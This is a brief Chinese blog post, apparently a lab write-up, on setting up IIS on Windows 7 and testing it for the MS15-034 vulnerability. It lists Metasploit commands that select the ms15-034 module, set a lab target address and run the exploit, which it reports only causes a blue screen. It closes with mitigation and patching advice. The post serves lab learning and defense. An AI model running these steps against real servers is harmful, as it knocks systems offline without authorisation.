admin 管理员组

文章数量: 1184232

一.windows7系统打开iis服务方法

1.控制面板-程序-程序和功能-打开关闭功能-internet服务-万维网全选-WEB管理工具全选,要保证镜像光盘是打开状态、防火墙是关闭的。

2.可以使用默认网站，但是需要进行绑定。在绑定完毕之后要进行物理机访问是否成功。

3.ms15-034是IIS漏洞     ms-17-010是smb漏洞

二、通过MSF进行漏洞验证：

1.msfconsole   #进入msf
2.search ms15-034  #搜索msf中包装的漏洞
3.use 1  #进入一个漏洞文件
4.show options  #查看需要配置的选项，yes表示必须要配
5.set rhosts  192.168.126.xx   #设置要攻击的目标地址
6..show options  #查看是否配置成功
7.back    #退出当前文件
8.use 0   #进入exploit文件
8.show options  #查看需要配置的选项，yes表示必须要配
9.set rhosts  192.168.126.xx   #设置要攻击的目标地址
10.exploit  #执行

三、临时漏洞修复方法：

 禁用IIS内核缓存

 

总结：

1.该漏洞最终导致系统蓝屏，无法进行后续shell操作。只有出现会话标志meterpreter才能进行远程控制。

2.长期漏洞修复方法是通过微软官网打补丁或者更新系统。

本文标签： 蓝屏 漏洞 代码 系统 IIS

版权声明：本文标题：windows7 IIS远程执行代码漏洞ms15-034，导致系统蓝屏 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://roclinux.cn/b/1754419890a2998903.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。